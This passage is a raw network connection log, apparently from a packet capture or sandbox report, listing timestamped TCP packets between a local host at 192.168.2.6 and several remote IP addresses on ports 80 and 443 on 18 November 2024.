Nov 18, 2024 04:41:34.307519913 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.307538986 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.307547092 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.307560921 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.307563066 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.307579041 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.307594061 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.307595968 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.307610035 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.307611942 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.307625055 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.307629108 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.307641029 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.307643890 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.307657003 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.307660103 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.307674885 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.307679892 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.307689905 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.307696104 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.307709932 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.307714939 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.307729959 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.307746887 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.307957888 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.307998896 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.313807964 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.313841105 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.313884020 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.313891888 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.313916922 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.313934088 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.314580917 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.314600945 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.314634085 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.314639091 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.314661980 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.314675093 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.315507889 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.315526962 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.315562010 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.315582991 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.315602064 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.316351891 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.316633940 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.316652060 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.316695929 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.316700935 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.316731930 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.316744089 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.421821117 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.421854973 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.421880960 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.421891928 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.421919107 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.421933889 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.430023909 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.430042982 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.430078983 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.430084944 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.430109024 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.430124998 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.430634975 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.430656910 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.430689096 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.430696011 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.430726051 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.431401968 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.431430101 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.431461096 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.431467056 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.431483984 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.431498051 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.432020903 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.432039976 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.432084084 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.432089090 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.432115078 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.432130098 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.435340881 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.435359001 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.435401917 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.435409069 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.435431957 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.435457945 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.440572023 CET	443	49891	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.448523998 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.513808966 CET	443	49892	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.521399975 CET	49891	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.521421909 CET	443	49891	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.521979094 CET	49891	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.521986008 CET	443	49891	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.527539968 CET	49892	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.527564049 CET	443	49892	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.527937889 CET	49892	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.527945042 CET	443	49892	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.530349016 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.535161018 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.539144039 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.539169073 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.539239883 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.539252043 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.540448904 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.547015905 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.547058105 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.547086954 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.547106981 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.547153950 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.575225115 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.577867031 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.577879906 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.653279066 CET	443	49892	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.653311014 CET	443	49892	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.653369904 CET	443	49892	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.653384924 CET	49892	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.653436899 CET	49892	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.688652039 CET	443	49893	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.702310085 CET	49892	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.702323914 CET	443	49892	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.702342033 CET	49892	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.702347040 CET	443	49892	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.708192110 CET	49893	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.708208084 CET	443	49893	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.709017992 CET	49893	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.709023952 CET	443	49893	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.714595079 CET	49902	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.714623928 CET	443	49902	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.715250015 CET	49902	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.715503931 CET	49902	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.715517998 CET	443	49902	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.748023987 CET	443	49894	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.748464108 CET	49894	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.748482943 CET	443	49894	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.748894930 CET	443	49894	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.750070095 CET	49894	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.750153065 CET	443	49894	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.750546932 CET	49903	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.750581980 CET	443	49903	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.750653982 CET	49903	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.750881910 CET	49904	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.750926018 CET	443	49904	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.751308918 CET	49905	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.751343012 CET	49904	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.751351118 CET	443	49905	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.751451969 CET	49905	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.752100945 CET	49906	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.752110004 CET	443	49906	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.752176046 CET	49906	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.752434969 CET	49907	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.752443075 CET	443	49907	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.752502918 CET	49907	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.752703905 CET	49894	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.752923012 CET	49903	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.752942085 CET	443	49903	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.753046036 CET	49905	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.753061056 CET	443	49905	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.753388882 CET	49904	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.753402948 CET	443	49904	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.753511906 CET	49906	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.753521919 CET	443	49906	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.753640890 CET	49907	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:34.753655910 CET	443	49907	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.799330950 CET	443	49894	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:34.805968046 CET	443	49895	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.806996107 CET	49895	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.807015896 CET	443	49895	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.807513952 CET	49895	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.807518959 CET	443	49895	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.809139967 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809179068 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809202909 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809225082 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.809233904 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809247971 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809252977 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.809283972 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809298992 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809304953 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.809329987 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.809351921 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809365988 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.809365988 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809381008 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809411049 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.809422016 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809434891 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809446096 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.809484959 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.809509039 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809524059 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809552908 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.809556007 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809571028 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809575081 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.809586048 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809600115 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809602976 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.809623003 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.809633017 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809652090 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.809654951 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809673071 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809685946 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.809705973 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809721947 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809731007 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.809735060 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809755087 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809767008 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.809781075 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809787989 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.809797049 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809815884 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809823990 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.809830904 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809864044 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.809865952 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809883118 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809899092 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.809916019 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809931040 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809937954 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.809940100 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809997082 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.809999943 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.810010910 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.810028076 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.810043097 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.810045004 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.810064077 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.810069084 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.810089111 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.810100079 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.810107946 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.810116053 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.810139894 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.810143948 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.810161114 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.810165882 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.810185909 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.810190916 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.810205936 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.810213089 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.810233116 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.810244083 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.810255051 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.810260057 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.810307980 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.810321093 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.810336113 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.810348988 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.810358047 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.810364008 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.810378075 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.810396910 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.810422897 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.810431957 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.810497046 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.810519934 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.810534954 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.810539007 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.810549021 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.810569048 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.810604095 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.810630083 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.810642958 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.810657024 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.810677052 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.810703039 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.819133997 CET	443	49898	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:34.819473028 CET	49898	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:34.819489956 CET	443	49898	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:34.819937944 CET	443	49898	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:34.822406054 CET	49898	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:34.822490931 CET	443	49898	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:34.831198931 CET	443	49899	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:34.832196951 CET	49899	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:34.832206964 CET	443	49899	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:34.833107948 CET	443	49899	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:34.833606958 CET	49899	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:34.833730936 CET	443	49899	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:34.837404013 CET	443	49893	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.837574005 CET	443	49893	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.837673903 CET	49893	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.838131905 CET	49893	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.838148117 CET	443	49893	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.867734909 CET	49908	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.867775917 CET	443	49908	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.868067026 CET	49908	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.868611097 CET	49908	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.868626118 CET	443	49908	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.877501011 CET	49899	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:34.879690886 CET	443	49896	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.880290031 CET	49896	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.880306005 CET	443	49896	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.881707907 CET	49896	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:34.881711960 CET	443	49896	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:34.911787033 CET	49898	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:34.928092003 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.928123951 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.928155899 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.928164005 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.928172112 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.928189039 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.928194046 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.928220034 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.928222895 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.928236961 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.928280115 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.928306103 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.928320885 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.928337097 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.928349018 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.928390026 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.928411007 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.928426981 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.928453922 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.928484917 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.928492069 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.928500891 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.928546906 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.928621054 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.928637028 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.928651094 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.928663969 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.928664923 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.928678989 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.928699970 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.928720951 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.928740978 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.928764105 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.928786993 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.928839922 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.928857088 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.928873062 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.928885937 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.928885937 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.928901911 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:34.928909063 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:34.928917885 CET	80	49833	185.215.113.206	192.168.2.6
